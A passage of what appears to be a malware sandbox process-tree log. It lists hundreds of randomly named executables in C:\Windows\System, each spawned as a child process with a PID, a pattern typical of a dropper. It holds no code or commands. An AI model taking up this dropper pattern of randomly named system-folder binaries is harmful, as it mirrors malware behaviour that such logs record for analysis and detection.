  C:\Windows\System\wNmSBwq.exe
  2⤵
  PID:7032
- C:\Windows\System\EJjvCRN.exe
  C:\Windows\System\EJjvCRN.exe
  2⤵
  PID:7080
- C:\Windows\System\PdMtMoR.exe
  C:\Windows\System\PdMtMoR.exe
  2⤵
  PID:7108
- C:\Windows\System\YoPDgEY.exe
  C:\Windows\System\YoPDgEY.exe
  2⤵
  PID:7124
- C:\Windows\System\BUxbmXo.exe
  C:\Windows\System\BUxbmXo.exe
  2⤵
  PID:7140
- C:\Windows\System\cRCWYKm.exe
  C:\Windows\System\cRCWYKm.exe
  2⤵
  PID:7156
- C:\Windows\System\eJQBlVZ.exe
  C:\Windows\System\eJQBlVZ.exe
  2⤵
  PID:2312
- C:\Windows\System\OqpyCEQ.exe
  C:\Windows\System\OqpyCEQ.exe
  2⤵
  PID:6196
- C:\Windows\System\JjmQoMe.exe
  C:\Windows\System\JjmQoMe.exe
  2⤵
  PID:6028
- C:\Windows\System\xMTsOJO.exe
  C:\Windows\System\xMTsOJO.exe
  2⤵
  PID:6228
- C:\Windows\System\VGvMYYc.exe
  C:\Windows\System\VGvMYYc.exe
  2⤵
  PID:6148
- C:\Windows\System\queGDeq.exe
  C:\Windows\System\queGDeq.exe
  2⤵
  PID:6260
- C:\Windows\System\HKRJZkp.exe
  C:\Windows\System\HKRJZkp.exe
  2⤵
  PID:6240
- C:\Windows\System\FpcYyEI.exe
  C:\Windows\System\FpcYyEI.exe
  2⤵
  PID:6296
- C:\Windows\System\slizMVb.exe
  C:\Windows\System\slizMVb.exe
  2⤵
  PID:6344
- C:\Windows\System\xNlOKUQ.exe
  C:\Windows\System\xNlOKUQ.exe
  2⤵
  PID:6364
- C:\Windows\System\ZfwBMbc.exe
  C:\Windows\System\ZfwBMbc.exe
  2⤵
  PID:6400
- C:\Windows\System\IwKRhpa.exe
  C:\Windows\System\IwKRhpa.exe
  2⤵
  PID:6428
- C:\Windows\System\DztgjPh.exe
  C:\Windows\System\DztgjPh.exe
  2⤵
  PID:6448
- C:\Windows\System\yAliWgz.exe
  C:\Windows\System\yAliWgz.exe
  2⤵
  PID:6516
- C:\Windows\System\hWEcwxI.exe
  C:\Windows\System\hWEcwxI.exe
  2⤵
  PID:6492
- C:\Windows\System\IYOazgW.exe
  C:\Windows\System\IYOazgW.exe
  2⤵
  PID:6712
- C:\Windows\System\aMkwrMF.exe
  C:\Windows\System\aMkwrMF.exe
  2⤵
  PID:6544
- C:\Windows\System\NGPuAwZ.exe
  C:\Windows\System\NGPuAwZ.exe
  2⤵
  PID:6612
- C:\Windows\System\XGUSJqT.exe
  C:\Windows\System\XGUSJqT.exe
  2⤵
  PID:6680
- C:\Windows\System\JYmrTvo.exe
  C:\Windows\System\JYmrTvo.exe
  2⤵
  PID:6700
- C:\Windows\System\XCrADHL.exe
  C:\Windows\System\XCrADHL.exe
  2⤵
  PID:6716
- C:\Windows\System\PAupBMd.exe
  C:\Windows\System\PAupBMd.exe
  2⤵
  PID:6784
- C:\Windows\System\CBtnqgF.exe
  C:\Windows\System\CBtnqgF.exe
  2⤵
  PID:6792
- C:\Windows\System\tVPBpvA.exe
  C:\Windows\System\tVPBpvA.exe
  2⤵
  PID:6564
- C:\Windows\System\gyyGhZE.exe
  C:\Windows\System\gyyGhZE.exe
  2⤵
  PID:6632
- C:\Windows\System\fDsZxEB.exe
  C:\Windows\System\fDsZxEB.exe
  2⤵
  PID:6760
- C:\Windows\System\TqaWnYH.exe
  C:\Windows\System\TqaWnYH.exe
  2⤵
  PID:6896
- C:\Windows\System\cXJlrzP.exe
  C:\Windows\System\cXJlrzP.exe
  2⤵
  PID:6920
- C:\Windows\System\qJbUKRB.exe
  C:\Windows\System\qJbUKRB.exe
  2⤵
  PID:6996
- C:\Windows\System\nWGvpwC.exe
  C:\Windows\System\nWGvpwC.exe
  2⤵
  PID:7048
- C:\Windows\System\kRQOKQQ.exe
  C:\Windows\System\kRQOKQQ.exe
  2⤵
  PID:7068
- C:\Windows\System\wGDLrIv.exe
  C:\Windows\System\wGDLrIv.exe
  2⤵
  PID:7120
- C:\Windows\System\xcfsUpb.exe
  C:\Windows\System\xcfsUpb.exe
  2⤵
  PID:6808
- C:\Windows\System\jvpHfkc.exe
  C:\Windows\System\jvpHfkc.exe
  2⤵
  PID:6824
- C:\Windows\System\BtkzNMP.exe
  C:\Windows\System\BtkzNMP.exe
  2⤵
  PID:6860
- C:\Windows\System\XheoCZH.exe
  C:\Windows\System\XheoCZH.exe
  2⤵
  PID:6164
- C:\Windows\System\unZIFHw.exe
  C:\Windows\System\unZIFHw.exe
  2⤵
  PID:6208
- C:\Windows\System\pYYtqwS.exe
  C:\Windows\System\pYYtqwS.exe
  2⤵
  PID:6836
- C:\Windows\System\bQVHCvL.exe
  C:\Windows\System\bQVHCvL.exe
  2⤵
  PID:6856
- C:\Windows\System\EkwFsIp.exe
  C:\Windows\System\EkwFsIp.exe
  2⤵
  PID:6292
- C:\Windows\System\OMuuYXm.exe
  C:\Windows\System\OMuuYXm.exe
  2⤵
  PID:6512
- C:\Windows\System\gdgthkg.exe
  C:\Windows\System\gdgthkg.exe
  2⤵
  PID:6392
- C:\Windows\System\XxqQIib.exe
  C:\Windows\System\XxqQIib.exe
  2⤵
  PID:6692
- C:\Windows\System\jIvvxbk.exe
  C:\Windows\System\jIvvxbk.exe
  2⤵
  PID:6756
- C:\Windows\System\CaFjptY.exe
  C:\Windows\System\CaFjptY.exe
  2⤵
  PID:6560
- C:\Windows\System\votiMUA.exe
  C:\Windows\System\votiMUA.exe
  2⤵
  PID:7044
- C:\Windows\System\HeEiHna.exe
  C:\Windows\System\HeEiHna.exe
  2⤵
  PID:6940
- C:\Windows\System\MfshdVY.exe
  C:\Windows\System\MfshdVY.exe
  2⤵
  PID:6964
- C:\Windows\System\AlcmgXC.exe
  C:\Windows\System\AlcmgXC.exe
  2⤵
  PID:7008
- C:\Windows\System\TGyqWpJ.exe
  C:\Windows\System\TGyqWpJ.exe
  2⤵
  PID:7020
- C:\Windows\System\cReZCxa.exe
  C:\Windows\System\cReZCxa.exe
  2⤵
  PID:7100
- C:\Windows\System\bCpvUCO.exe
  C:\Windows\System\bCpvUCO.exe
  2⤵
  PID:7164
- C:\Windows\System\CHNYUoo.exe
  C:\Windows\System\CHNYUoo.exe
  2⤵
  PID:2752
- C:\Windows\System\IOSwKlU.exe
  C:\Windows\System\IOSwKlU.exe
  2⤵
  PID:6328
- C:\Windows\System\yJeuevt.exe
  C:\Windows\System\yJeuevt.exe
  2⤵
  PID:7116
- C:\Windows\System\wyzwZMG.exe
  C:\Windows\System\wyzwZMG.exe
  2⤵
  PID:6224
- C:\Windows\System\wjzWyQV.exe
  C:\Windows\System\wjzWyQV.exe
  2⤵
  PID:6852
- C:\Windows\System\luUInRw.exe
  C:\Windows\System\luUInRw.exe
  2⤵
  PID:6412
- C:\Windows\System\kiLZePO.exe
  C:\Windows\System\kiLZePO.exe
  2⤵
  PID:6536
- C:\Windows\System\RUzbdYw.exe
  C:\Windows\System\RUzbdYw.exe
  2⤵
  PID:6736
- C:\Windows\System\gffyrkd.exe
  C:\Windows\System\gffyrkd.exe
  2⤵
  PID:6596
- C:\Windows\System\SeoFKCm.exe
  C:\Windows\System\SeoFKCm.exe
  2⤵
  PID:6988
- C:\Windows\System\WhplhPV.exe
  C:\Windows\System\WhplhPV.exe
  2⤵
  PID:6800
- C:\Windows\System\iJImqeH.exe
  C:\Windows\System\iJImqeH.exe
  2⤵
  PID:6280
- C:\Windows\System\ABrZFOG.exe
  C:\Windows\System\ABrZFOG.exe
  2⤵
  PID:6892
- C:\Windows\System\IyYNfHF.exe
  C:\Windows\System\IyYNfHF.exe
  2⤵
  PID:6540
- C:\Windows\System\IWDGwUw.exe
  C:\Windows\System\IWDGwUw.exe
  2⤵
  PID:6948
- C:\Windows\System\FHDwufl.exe
  C:\Windows\System\FHDwufl.exe
  2⤵
  PID:6684
- C:\Windows\System\VOsaCkj.exe
  C:\Windows\System\VOsaCkj.exe
  2⤵
  PID:6960
- C:\Windows\System\SoSAJad.exe
  C:\Windows\System\SoSAJad.exe
  2⤵
  PID:6212
- C:\Windows\System\DCXVmuB.exe
  C:\Windows\System\DCXVmuB.exe
  2⤵
  PID:6380
- C:\Windows\System\VrPiGBf.exe
  C:\Windows\System\VrPiGBf.exe
  2⤵
  PID:6768
- C:\Windows\System\XfDScmc.exe
  C:\Windows\System\XfDScmc.exe
  2⤵
  PID:6580
- C:\Windows\System\gNLyHAG.exe
  C:\Windows\System\gNLyHAG.exe
  2⤵
  PID:6652
- C:\Windows\System\kEqhuez.exe
  C:\Windows\System\kEqhuez.exe
  2⤵
  PID:7176
- C:\Windows\System\CIFIfDm.exe
  C:\Windows\System\CIFIfDm.exe
  2⤵
  PID:7192
- C:\Windows\System\PuYsjks.exe
  C:\Windows\System\PuYsjks.exe
  2⤵
  PID:7208
- C:\Windows\System\DFugIlM.exe
  C:\Windows\System\DFugIlM.exe
  2⤵
  PID:7224
- C:\Windows\System\fmrmyOi.exe
  C:\Windows\System\fmrmyOi.exe
  2⤵
  PID:7240
- C:\Windows\System\kEIoxNM.exe
  C:\Windows\System\kEIoxNM.exe
  2⤵
  PID:7256
- C:\Windows\System\fIFUddG.exe
  C:\Windows\System\fIFUddG.exe
  2⤵
  PID:7272
- C:\Windows\System\IrilNnA.exe
  C:\Windows\System\IrilNnA.exe
  2⤵
  PID:7288
- C:\Windows\System\iKnCLmx.exe
  C:\Windows\System\iKnCLmx.exe
  2⤵
  PID:7304
- C:\Windows\System\EIQUSOU.exe
  C:\Windows\System\EIQUSOU.exe
  2⤵
  PID:7320
- C:\Windows\System\ZKYHhIN.exe
  C:\Windows\System\ZKYHhIN.exe
  2⤵
  PID:7340
- C:\Windows\System\qRXUhnn.exe
  C:\Windows\System\qRXUhnn.exe
  2⤵
  PID:7356
- C:\Windows\System\DWzMTzb.exe
  C:\Windows\System\DWzMTzb.exe
  2⤵
  PID:7372
- C:\Windows\System\umdvvvU.exe
  C:\Windows\System\umdvvvU.exe
  2⤵
  PID:7388
- C:\Windows\System\dbbtZxc.exe
  C:\Windows\System\dbbtZxc.exe
  2⤵
  PID:7404
- C:\Windows\System\zvCvDVe.exe
  C:\Windows\System\zvCvDVe.exe
  2⤵
  PID:7420
- C:\Windows\System\rADxppI.exe
  C:\Windows\System\rADxppI.exe
  2⤵
  PID:7436
- C:\Windows\System\FzxUeRL.exe
  C:\Windows\System\FzxUeRL.exe
  2⤵
  PID:7452
- C:\Windows\System\ebswJSh.exe
  C:\Windows\System\ebswJSh.exe
  2⤵
  PID:7468
- C:\Windows\System\fExPlag.exe
  C:\Windows\System\fExPlag.exe
  2⤵
  PID:7492
- C:\Windows\System\YLvrBGJ.exe
  C:\Windows\System\YLvrBGJ.exe
  2⤵
  PID:7508
- C:\Windows\System\foukrbl.exe
  C:\Windows\System\foukrbl.exe
  2⤵
  PID:7524
- C:\Windows\System\HCyQlgC.exe
  C:\Windows\System\HCyQlgC.exe
  2⤵
  PID:7540
- C:\Windows\System\dxhjqZb.exe
  C:\Windows\System\dxhjqZb.exe
  2⤵
  PID:7556
- C:\Windows\System\iLXLPDY.exe
  C:\Windows\System\iLXLPDY.exe
  2⤵
  PID:7572
- C:\Windows\System\sTjOlLl.exe
  C:\Windows\System\sTjOlLl.exe
  2⤵
  PID:7588
- C:\Windows\System\ntoqcmF.exe
  C:\Windows\System\ntoqcmF.exe
  2⤵
  PID:7604
- C:\Windows\System\lOMmxCi.exe
  C:\Windows\System\lOMmxCi.exe
  2⤵
  PID:7620
- C:\Windows\System\QDcDxdt.exe
  C:\Windows\System\QDcDxdt.exe
  2⤵
  PID:7636
- C:\Windows\System\rSyVzGz.exe
  C:\Windows\System\rSyVzGz.exe
  2⤵
  PID:7656
- C:\Windows\System\OdNOqJC.exe
  C:\Windows\System\OdNOqJC.exe
  2⤵
  PID:7672
- C:\Windows\System\hJKQagW.exe
  C:\Windows\System\hJKQagW.exe
  2⤵
  PID:7688
- C:\Windows\System\hTYkHDE.exe
  C:\Windows\System\hTYkHDE.exe
  2⤵
  PID:7704
- C:\Windows\System\ZGiyrfN.exe
  C:\Windows\System\ZGiyrfN.exe
  2⤵
  PID:7720
- C:\Windows\System\VdPKxYO.exe
  C:\Windows\System\VdPKxYO.exe
  2⤵
  PID:7736
- C:\Windows\System\pJUOpCU.exe
  C:\Windows\System\pJUOpCU.exe
  2⤵
  PID:7752
- C:\Windows\System\AfJnkhY.exe
  C:\Windows\System\AfJnkhY.exe
  2⤵
  PID:7768
- C:\Windows\System\cpSYMVN.exe
  C:\Windows\System\cpSYMVN.exe
  2⤵
  PID:7784
- C:\Windows\System\IShGayM.exe
  C:\Windows\System\IShGayM.exe
  2⤵
  PID:7800
- C:\Windows\System\TdpPtra.exe
  C:\Windows\System\TdpPtra.exe
  2⤵
  PID:7816
- C:\Windows\System\UFbnaSf.exe
  C:\Windows\System\UFbnaSf.exe
  2⤵
  PID:7832
- C:\Windows\System\AlQbVdF.exe
  C:\Windows\System\AlQbVdF.exe
  2⤵
  PID:7848
- C:\Windows\System\YJmoAcX.exe
  C:\Windows\System\YJmoAcX.exe
  2⤵
  PID:7864
- C:\Windows\System\noXfifX.exe
  C:\Windows\System\noXfifX.exe
  2⤵
  PID:7880
- C:\Windows\System\ccFUcVV.exe
  C:\Windows\System\ccFUcVV.exe
  2⤵
  PID:7896
- C:\Windows\System\jfQBvZK.exe
  C:\Windows\System\jfQBvZK.exe
  2⤵
  PID:7912
- C:\Windows\System\SvGidcb.exe
  C:\Windows\System\SvGidcb.exe
  2⤵
  PID:7928
- C:\Windows\System\ALyVQkN.exe
  C:\Windows\System\ALyVQkN.exe
  2⤵
  PID:7944
- C:\Windows\System\fegZcCA.exe
  C:\Windows\System\fegZcCA.exe
  2⤵
  PID:7960
- C:\Windows\System\mNbucYJ.exe
  C:\Windows\System\mNbucYJ.exe
  2⤵
  PID:7976
- C:\Windows\System\vtcWFro.exe
  C:\Windows\System\vtcWFro.exe
  2⤵
  PID:7992
- C:\Windows\System\cDGTkwS.exe
  C:\Windows\System\cDGTkwS.exe
  2⤵
  PID:8008
- C:\Windows\System\JLLADzO.exe
  C:\Windows\System\JLLADzO.exe
  2⤵
  PID:8024
- C:\Windows\System\mBgFIVn.exe
  C:\Windows\System\mBgFIVn.exe
  2⤵
  PID:8040
- C:\Windows\System\JLPcGLS.exe
  C:\Windows\System\JLPcGLS.exe
  2⤵
  PID:8056
- C:\Windows\System\vowhrom.exe
  C:\Windows\System\vowhrom.exe
  2⤵
  PID:8072
- C:\Windows\System\yggBcEP.exe
  C:\Windows\System\yggBcEP.exe
  2⤵
  PID:8088
- C:\Windows\System\gpKEwhn.exe
  C:\Windows\System\gpKEwhn.exe
  2⤵
  PID:8104
- C:\Windows\System\fWkpriO.exe
  C:\Windows\System\fWkpriO.exe
  2⤵
  PID:8120
- C:\Windows\System\icOpESh.exe
  C:\Windows\System\icOpESh.exe
  2⤵
  PID:8136
- C:\Windows\System\xzrSiTh.exe
  C:\Windows\System\xzrSiTh.exe
  2⤵
  PID:8152
- C:\Windows\System\PFsSsgt.exe
  C:\Windows\System\PFsSsgt.exe
  2⤵
  PID:8168
- C:\Windows\System\NkkEiUv.exe
  C:\Windows\System\NkkEiUv.exe
  2⤵
  PID:8184
- C:\Windows\System\btkbsOo.exe
  C:\Windows\System\btkbsOo.exe
  2⤵
  PID:7216
- C:\Windows\System\CDHdpJp.exe
  C:\Windows\System\CDHdpJp.exe
  2⤵
  PID:7220
- C:\Windows\System\PkMlSRZ.exe
  C:\Windows\System\PkMlSRZ.exe
  2⤵
  PID:6972
- C:\Windows\System\ERupSwz.exe
  C:\Windows\System\ERupSwz.exe
  2⤵
  PID:5588
- C:\Windows\System\aswGfnv.exe
  C:\Windows\System\aswGfnv.exe
  2⤵
  PID:6848
- C:\Windows\System\GbDGmJQ.exe
  C:\Windows\System\GbDGmJQ.exe
  2⤵
  PID:6788
- C:\Windows\System\hQrYCYe.exe
  C:\Windows\System\hQrYCYe.exe
  2⤵
  PID:6872
- C:\Windows\System\bSFYHrd.exe
  C:\Windows\System\bSFYHrd.exe
  2⤵
  PID:6532
- C:\Windows\System\VoezhRw.exe
  C:\Windows\System\VoezhRw.exe
  2⤵
  PID:7312
- C:\Windows\System\UBCDlHR.exe
  C:\Windows\System\UBCDlHR.exe
  2⤵
  PID:7200
- C:\Windows\System\TmaCdlq.exe
  C:\Windows\System\TmaCdlq.exe
  2⤵
  PID:7300
- C:\Windows\System\UCbAdvK.exe
  C:\Windows\System\UCbAdvK.exe
  2⤵
  PID:7296
- C:\Windows\System\AthvCgb.exe
  C:\Windows\System\AthvCgb.exe
  2⤵
  PID:7332
- C:\Windows\System\ufvquBd.exe
  C:\Windows\System\ufvquBd.exe
  2⤵
  PID:7380
- C:\Windows\System\ffYrouQ.exe
  C:\Windows\System\ffYrouQ.exe
  2⤵
  PID:7428
- C:\Windows\System\AGBbzyx.exe
  C:\Windows\System\AGBbzyx.exe
  2⤵
  PID:7460
- C:\Windows\System\RxjDQpL.exe
  C:\Windows\System\RxjDQpL.exe
  2⤵
  PID:7416
- C:\Windows\System\GtQYraz.exe
  C:\Windows\System\GtQYraz.exe
  2⤵
  PID:7504
- C:\Windows\System\pOJXefJ.exe
  C:\Windows\System\pOJXefJ.exe
  2⤵
  PID:7552
- C:\Windows\System\PucmraI.exe
  C:\Windows\System\PucmraI.exe
  2⤵
  PID:7616
- C:\Windows\System\CcdTqdf.exe
  C:\Windows\System\CcdTqdf.exe
  2⤵
  PID:7536
- C:\Windows\System\ZFkdGXq.exe
  C:\Windows\System\ZFkdGXq.exe
  2⤵
  PID:7632
- C:\Windows\System\zvnkpBw.exe
  C:\Windows\System\zvnkpBw.exe
  2⤵
  PID:7652
- C:\Windows\System\bmxbHcb.exe
  C:\Windows\System\bmxbHcb.exe
  2⤵
  PID:7760
- C:\Windows\System\VJzXgKH.exe
  C:\Windows\System\VJzXgKH.exe
  2⤵
  PID:7696
- C:\Windows\System\GFiPeAW.exe
  C:\Windows\System\GFiPeAW.exe
  2⤵
  PID:7796
- C:\Windows\System\lcFUZGW.exe
  C:\Windows\System\lcFUZGW.exe
  2⤵
  PID:7748
- C:\Windows\System\SQcfLIK.exe
  C:\Windows\System\SQcfLIK.exe
  2⤵
  PID:7808
- C:\Windows\System\AksEZBn.exe
  C:\Windows\System\AksEZBn.exe
  2⤵
  PID:7876
- C:\Windows\System\OfRZDdv.exe
  C:\Windows\System\OfRZDdv.exe
  2⤵
  PID:7940
- C:\Windows\System\Lxefpny.exe
  C:\Windows\System\Lxefpny.exe
  2⤵
  PID:8004
- C:\Windows\System\heQmajr.exe
  C:\Windows\System\heQmajr.exe
  2⤵
  PID:7984
- C:\Windows\System\jtdsBEM.exe
  C:\Windows\System\jtdsBEM.exe
  2⤵
  PID:7856
- C:\Windows\System\ffFAnMq.exe
  C:\Windows\System\ffFAnMq.exe
  2⤵
  PID:7924
- C:\Windows\System\RiNXiQc.exe
  C:\Windows\System\RiNXiQc.exe
  2⤵
  PID:8128
- C:\Windows\System\MxUaPKJ.exe
  C:\Windows\System\MxUaPKJ.exe
  2⤵
  PID:7248
- C:\Windows\System\GUwOSsd.exe
  C:\Windows\System\GUwOSsd.exe
  2⤵
  PID:7920
- C:\Windows\System\xopWxNC.exe
  C:\Windows\System\xopWxNC.exe
  2⤵
  PID:8052
- C:\Windows\System\BvrofHt.exe
  C:\Windows\System\BvrofHt.exe
  2⤵
  PID:8112
- C:\Windows\System\HFJKdqt.exe
  C:\Windows\System\HFJKdqt.exe
  2⤵
  PID:8176
- C:\Windows\System\YpvhzoI.exe
  C:\Windows\System\YpvhzoI.exe
  2⤵
  PID:7076
- C:\Windows\System\Englwzy.exe
  C:\Windows\System\Englwzy.exe
  2⤵
  PID:6728
- C:\Windows\System\VnIaTNq.exe
  C:\Windows\System\VnIaTNq.exe
  2⤵
  PID:7152
- C:\Windows\System\IDOJerq.exe
  C:\Windows\System\IDOJerq.exe
  2⤵
  PID:7136
- C:\Windows\System\lBIxsVY.exe
  C:\Windows\System\lBIxsVY.exe
  2⤵
  PID:7264
- C:\Windows\System\zbxDeOt.exe
  C:\Windows\System\zbxDeOt.exe
  2⤵
  PID:7336
- C:\Windows\System\ztiAgRa.exe
  C:\Windows\System\ztiAgRa.exe
  2⤵
  PID:7348
- C:\Windows\System\LSKKdZU.exe
  C:\Windows\System\LSKKdZU.exe
  2⤵
  PID:7516
- C:\Windows\System\xsmMZRC.exe
  C:\Windows\System\xsmMZRC.exe
  2⤵
  PID:7520
- C:\Windows\System\ycIrPyI.exe
  C:\Windows\System\ycIrPyI.exe
  2⤵
  PID:7584
- C:\Windows\System\JSfoJVz.exe
  C:\Windows\System\JSfoJVz.exe
  2⤵
  PID:7700
- C:\Windows\System\WwPyeEE.exe
  C:\Windows\System\WwPyeEE.exe
  2⤵
  PID:7668
- C:\Windows\System\NDPNEoR.exe
  C:\Windows\System\NDPNEoR.exe
  2⤵
  PID:7872
- C:\Windows\System\NprxwNv.exe
  C:\Windows\System\NprxwNv.exe
  2⤵
  PID:8100
- C:\Windows\System\yuOJEio.exe
  C:\Windows\System\yuOJEio.exe
  2⤵
  PID:7892
- C:\Windows\System\FhGnZNE.exe
  C:\Windows\System\FhGnZNE.exe
  2⤵
  PID:8144
- C:\Windows\System\LxTmbjM.exe
  C:\Windows\System\LxTmbjM.exe
  2⤵
  PID:7232
- C:\Windows\System\klBLygx.exe
  C:\Windows\System\klBLygx.exe
  2⤵
  PID:7548
- C:\Windows\System\qpWXWID.exe
  C:\Windows\System\qpWXWID.exe
  2⤵
  PID:7860
- C:\Windows\System\aqpirMq.exe
  C:\Windows\System\aqpirMq.exe
  2⤵
  PID:8016
- C:\Windows\System\wqnnteb.exe
  C:\Windows\System\wqnnteb.exe
  2⤵
  PID:7792
- C:\Windows\System\bdZNSrm.exe
  C:\Windows\System\bdZNSrm.exe
  2⤵
  PID:7936
- C:\Windows\System\xRPnyKU.exe
  C:\Windows\System\xRPnyKU.exe
  2⤵
  PID:8048
- C:\Windows\System\dbmFsOA.exe
  C:\Windows\System\dbmFsOA.exe
  2⤵
  PID:7284
- C:\Windows\System\IpmOvTW.exe
  C:\Windows\System\IpmOvTW.exe
  2⤵
  PID:7444
- C:\Windows\System\vNZRqZg.exe
  C:\Windows\System\vNZRqZg.exe
  2⤵
  PID:8000
- C:\Windows\System\HWHndAB.exe
  C:\Windows\System\HWHndAB.exe
  2⤵
  PID:8084
- C:\Windows\System\RpRwUvh.exe
  C:\Windows\System\RpRwUvh.exe
  2⤵
  PID:7172
- C:\Windows\System\JTRjvhk.exe
  C:\Windows\System\JTRjvhk.exe
  2⤵
  PID:7744
- C:\Windows\System\ihinWXO.exe
  C:\Windows\System\ihinWXO.exe
  2⤵
  PID:7132
- C:\Windows\System\WFltSWB.exe
  C:\Windows\System\WFltSWB.exe
  2⤵
  PID:6844
- C:\Windows\System\OnOwvBz.exe
  C:\Windows\System\OnOwvBz.exe
  2⤵
  PID:7024
- C:\Windows\System\GGgGlxv.exe
  C:\Windows\System\GGgGlxv.exe
  2⤵
  PID:7564
- C:\Windows\System\lqFuhJE.exe
  C:\Windows\System\lqFuhJE.exe
  2⤵
  PID:8204
- C:\Windows\System\RPbLqNm.exe
  C:\Windows\System\RPbLqNm.exe
  2⤵
  PID:8220
- C:\Windows\System\ofYjRJM.exe
  C:\Windows\System\ofYjRJM.exe
  2⤵
  PID:8236
- C:\Windows\System\xHaxckN.exe
  C:\Windows\System\xHaxckN.exe
  2⤵
  PID:8252
- C:\Windows\System\aRQmhls.exe
  C:\Windows\System\aRQmhls.exe
  2⤵
  PID:8268
- C:\Windows\System\muKABso.exe
  C:\Windows\System\muKABso.exe
  2⤵
  PID:8284
- C:\Windows\System\WUeQyLk.exe
  C:\Windows\System\WUeQyLk.exe
  2⤵
  PID:8300
- C:\Windows\System\AeixITE.exe
  C:\Windows\System\AeixITE.exe
  2⤵
  PID:8316
- C:\Windows\System\ElBHfEw.exe
  C:\Windows\System\ElBHfEw.exe
  2⤵
  PID:8332
- C:\Windows\System\EwdNgeI.exe
  C:\Windows\System\EwdNgeI.exe
  2⤵
  PID:8348
- C:\Windows\System\NpCOwhs.exe
  C:\Windows\System\NpCOwhs.exe
  2⤵
  PID:8364
- C:\Windows\System\lLlChVA.exe
  C:\Windows\System\lLlChVA.exe
  2⤵
  PID:8380
- C:\Windows\System\DkAgvqL.exe
  C:\Windows\System\DkAgvqL.exe
  2⤵
  PID:8396
- C:\Windows\System\cGydLKS.exe
  C:\Windows\System\cGydLKS.exe
  2⤵
  PID:8412
- C:\Windows\System\XElSeMa.exe
  C:\Windows\System\XElSeMa.exe
  2⤵
  PID:8428
- C:\Windows\System\qBXephO.exe
  C:\Windows\System\qBXephO.exe
  2⤵
  PID:8444
- C:\Windows\System\NFNzjxr.exe
  C:\Windows\System\NFNzjxr.exe
  2⤵
  PID:8460
- C:\Windows\System\wfnxOdB.exe
  C:\Windows\System\wfnxOdB.exe
  2⤵
  PID:8476
- C:\Windows\System\NvzZMVY.exe
  C:\Windows\System\NvzZMVY.exe
  2⤵
  PID:8492
- C:\Windows\System\uEBFCkK.exe
  C:\Windows\System\uEBFCkK.exe
  2⤵
  PID:8508
- C:\Windows\System\FTkRPsO.exe
  C:\Windows\System\FTkRPsO.exe
  2⤵
  PID:8524
- C:\Windows\System\EMEbGqB.exe
  C:\Windows\System\EMEbGqB.exe
  2⤵
  PID:8540
- C:\Windows\System\MIQmXZz.exe
  C:\Windows\System\MIQmXZz.exe
  2⤵
  PID:8556
- C:\Windows\System\SaniwGS.exe
  C:\Windows\System\SaniwGS.exe
  2⤵
  PID:8572
- C:\Windows\System\sfbDYDn.exe
  C:\Windows\System\sfbDYDn.exe
  2⤵
  PID:8588
- C:\Windows\System\BRQNnlm.exe
  C:\Windows\System\BRQNnlm.exe
  2⤵
  PID:8604
- C:\Windows\System\IpWoZCM.exe
  C:\Windows\System\IpWoZCM.exe
  2⤵
  PID:8620
- C:\Windows\System\jREtBjG.exe
  C:\Windows\System\jREtBjG.exe
  2⤵
  PID:8636
- C:\Windows\System\EaPiUkI.exe
  C:\Windows\System\EaPiUkI.exe
  2⤵
  PID:8652
- C:\Windows\System\caGvJZW.exe
  C:\Windows\System\caGvJZW.exe
  2⤵
  PID:8668
- C:\Windows\System\qUmiqyr.exe
  C:\Windows\System\qUmiqyr.exe
  2⤵
  PID:8684
- C:\Windows\System\SpyFQwR.exe
  C:\Windows\System\SpyFQwR.exe
  2⤵
  PID:8700
- C:\Windows\System\PwdXKFL.exe
  C:\Windows\System\PwdXKFL.exe
  2⤵
  PID:8716
- C:\Windows\System\gDcBuRC.exe
  C:\Windows\System\gDcBuRC.exe
  2⤵
  PID:8732
- C:\Windows\System\xKgVnUe.exe
  C:\Windows\System\xKgVnUe.exe
  2⤵
  PID:8748
- C:\Windows\System\mRufOYD.exe
  C:\Windows\System\mRufOYD.exe
  2⤵
  PID:8764
- C:\Windows\System\TLMYSeW.exe
  C:\Windows\System\TLMYSeW.exe
  2⤵
  PID:8780
- C:\Windows\System\AILkQwF.exe
  C:\Windows\System\AILkQwF.exe
  2⤵
  PID:8796
- C:\Windows\System\LYFZmfC.exe
  C:\Windows\System\LYFZmfC.exe
  2⤵
  PID:8812
- C:\Windows\System\mXckwhn.exe
  C:\Windows\System\mXckwhn.exe
  2⤵
  PID:8828
- C:\Windows\System\HFBSIia.exe
  C:\Windows\System\HFBSIia.exe
  2⤵
  PID:8844
- C:\Windows\System\kYHuDuU.exe
  C:\Windows\System\kYHuDuU.exe
  2⤵
  PID:8860
- C:\Windows\System\DospzIA.exe
  C:\Windows\System\DospzIA.exe
  2⤵
  PID:8876
- C:\Windows\System\hFZKtwp.exe
  C:\Windows\System\hFZKtwp.exe
  2⤵
  PID:8892
- C:\Windows\System\NIuPcyo.exe
  C:\Windows\System\NIuPcyo.exe
  2⤵
  PID:8908
- C:\Windows\System\wHejkOk.exe
  C:\Windows\System\wHejkOk.exe
  2⤵
  PID:8928
- C:\Windows\System\khKqJYE.exe
  C:\Windows\System\khKqJYE.exe
  2⤵
  PID:8944
- C:\Windows\System\YMgOemd.exe
  C:\Windows\System\YMgOemd.exe
  2⤵
  PID:8960
- C:\Windows\System\NtaAVBd.exe
  C:\Windows\System\NtaAVBd.exe
  2⤵
  PID:8976
- C:\Windows\System\bQiGKYZ.exe
  C:\Windows\System\bQiGKYZ.exe
  2⤵
  PID:8992
- C:\Windows\System\yMptuAt.exe
  C:\Windows\System\yMptuAt.exe
  2⤵
  PID:9008
- C:\Windows\System\uonDbwc.exe
  C:\Windows\System\uonDbwc.exe
  2⤵
  PID:9024
- C:\Windows\System\DrWtsle.exe
  C:\Windows\System\DrWtsle.exe
  2⤵
  PID:9040
- C:\Windows\System\dEphKqD.exe
  C:\Windows\System\dEphKqD.exe
  2⤵
  PID:9060
- C:\Windows\System\RdfXklj.exe
  C:\Windows\System\RdfXklj.exe
  2⤵
  PID:9076
- C:\Windows\System\NLnLpWQ.exe
  C:\Windows\System\NLnLpWQ.exe
  2⤵
  PID:9092
- C:\Windows\System\MdrEghq.exe
  C:\Windows\System\MdrEghq.exe
  2⤵
  PID:9108
- C:\Windows\System\DqqcKrr.exe
  C:\Windows\System\DqqcKrr.exe
  2⤵
  PID:9124
- C:\Windows\System\MmzRBJU.exe
  C:\Windows\System\MmzRBJU.exe
  2⤵
  PID:9144
- C:\Windows\System\DcXoYcH.exe
  C:\Windows\System\DcXoYcH.exe
  2⤵
  PID:9168
- C:\Windows\System\PPTuNXM.exe
